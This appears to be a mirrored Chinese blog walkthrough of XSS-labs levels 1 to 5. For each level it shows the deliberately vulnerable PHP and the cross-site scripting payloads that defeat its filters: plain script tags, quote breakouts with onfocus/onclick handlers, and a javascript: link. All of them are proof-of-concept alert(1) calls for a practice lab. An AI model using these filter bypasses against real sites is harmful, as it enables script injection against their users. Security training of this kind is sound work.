19

【XSS-labs】Level 1-5

 3 years ago
source link: http://www.cnblogs.com/Zh1z3ven/p/12871408.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

写在前面:

这个闯关游戏旨在理解XSS的原理并运用各种姿势绕过对于XSS攻击的过滤和限制。

这个练习只要弹出弹框即可过关 ,每一关我也会附上payload和源代码的解析

Level 1

观察源码

<?php 
ini_set("display_errors", 0);    //设置display_errors的值为false,即不提示错误信息。
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

ini_set函数 — 为一个配置选项设置值

ini_set ( string $varname , string $newvalue ) : string

设置指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。

其中varname的值是有规定的,详情参考PHP手册。

display_errors: 该选项设置是否将错误信息作为输出的一部分显示到屏幕,或者对用户隐藏而不显示。

这里没有任何限制 直接在url中输入payload :

<script>alert(1)</script>

ok!

y6JNry7.png!web

Level 2 

2个注入点: URL搜索框

muIriiv.png!web

首先在URL输入我们Level 1 中的payload 发现没有成功弹窗 页面变成了下面这样。

ZrYzeqU.png!web

查看页面源代码:我们在URL输入的<>都被html实体化了,但是form中的并没有

baQBZfn.png!web

查看php源码确认一下 :URL中的参数被实体化了  但是表单里并没有

3uymY32.png!web

htmlspecialchars ():

htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。

预定义的字符有:& ,  " , <  ,  >

那么尝试在搜索框写入payload,注意闭合input标签,成功!

"> <script>alert(1)</script>\\

">用来闭合input前面的<和value的前一个"  最后\\用来注释掉最后的"> (不注释也是可以的)

<input name=keyword  value=""> <script>alert(1)</script> //"> (加入payload后的源码)

Level 3 

观察源码 这关和Level 2 不同的是 form中也调用了htmlspecialchars() 函数,所以不能直接调用JavaScirpt脚本

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>    
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

可以采用input标签内的事件来进行绕过

一些常用事件如下:

onfocus  当input 获取到焦点时触发

onblur当input失去焦点时触发,注意:这个事件触发的前提是已经获取了焦点再失去焦点的时候会触发相应的js

onchange当input失去焦点并且它的value值发生变化时触发

onkeydown在 input中有键按住的时候执行一些代码

onkeyup在input中有键抬起的时候触发的事件,在此事件触发之前一定触发了onkeydown事件

onclick主要是用于 input type=button,当被点击时触发此事件

onselect当input里的内容文本被选中后执行一段,只要选择了就会触发,不是非得全部选中

oninput当input的value值发生变化时就会触发,不用等到失去焦点(与onchange的区别)

payload:注意闭合input标签并触发事件即可,比如onfocus需要获取鼠标焦点,onclick需要点击搜索框。

//基于onfocus
' onfocus='window.alert(1) //这里加不加window.都可 
' onfocus='alert(1)
//基于onclick
' onclick='alert(1)
' onclick='window.alert(1)

Level 4

观察源码:这里依然是htmlspecialchars($str)函数对预定义的字符实体化

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>

注意源码中对于两个注入点的限制:

对于URL中,是会对 < > " 进行实体化转义

对于form表单中 并不会实体化输入的< > 而是因为str_replace函数将其换为空

6ZnUjun.png!web

str_replace函数实例:

<?php
echo str_replace("world","Shanghai","Hello world!");
?>
将hello world中的 world换为 shanghai

payload:还是利用input标签内的事件,注意此时的value那里需要 " 闭合 (payload可参考上面)

" onfocus="window.alert(1)"\\

Level 5

观察源码:strtolower函数会把输入的字符串中字母全部变为小写 然后通过后面str_replace函数限制了

script标签和input标签内的事件(都需要on这两个字符)

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>

这里可以利用JavaScript的伪协议。

Q:什么是JavaScript伪协议?

A:不同于因特网上的HTTP 、SMTP 、FTP 等真实存在的协议, 而是为关联应用程序而使用的.如:tencent://(关联QQ);

而JavaScript的伪协议即可将javascript: 后的代码当作JS脚本执行并把结果返回当前页面。

示例:
<a href="javascript:alert(1)">click!</a>

所以本关利用JavaScript的伪协议构造payload,注意闭合input标签:

"> <a href="javascript:alert(1)">click!</a>\\

N7FRBjN.png!web


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK